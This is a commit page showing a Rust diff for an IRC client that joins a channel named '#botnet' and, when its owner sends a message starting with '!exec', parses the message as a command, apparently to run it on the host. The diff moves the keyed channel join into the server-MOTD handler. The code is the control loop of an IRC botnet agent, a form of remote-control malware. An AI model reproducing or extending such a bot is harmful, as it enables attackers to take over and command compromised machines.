match statement
All checks were successful
continuous-integration/drone/push Build is passing

join with keys
This commit is contained in:
blackbeard420 2023-12-28 21:42:33 -05:00
parent 54b29b8e82
commit 06e54075a8
Signed by: blackbeard420
GPG Key ID: 88C719E09CDDA4A5

View File

@ -17,7 +17,7 @@ async fn main() -> Result<(), failure::Error> {
let mut client = Client::from_config(config).await?; let mut client = Client::from_config(config).await?;
client.identify()?; client.identify()?;
client.send_join_with_keys::<&str, &str>("#botnet", "fuckyou")?;
let mut stream = client.stream()?; let mut stream = client.stream()?;
let sender = client.sender(); let sender = client.sender();
@ -25,7 +25,8 @@ async fn main() -> Result<(), failure::Error> {
while let Some(message) = stream.next().await.transpose()? { while let Some(message) = stream.next().await.transpose()? {
print!("{}", message); print!("{}", message);
if let Command::PRIVMSG(ref target, ref msg) = message.command { match message.command {
Command::PRIVMSG(ref target, ref msg) => {
if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" { if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" {
if &msg[1..5] == "exec" { if &msg[1..5] == "exec" {
let mut args = msg.split_ascii_whitespace().skip(1); let mut args = msg.split_ascii_whitespace().skip(1);
@ -82,6 +83,11 @@ async fn main() -> Result<(), failure::Error> {
} }
} }
} }
Command::MOTD(ref _motd) => {
client.send_join_with_keys::<&str, &str>("#botnet", "fuckyou")?;
}
_ => {}
}
} }
Ok(()) Ok(())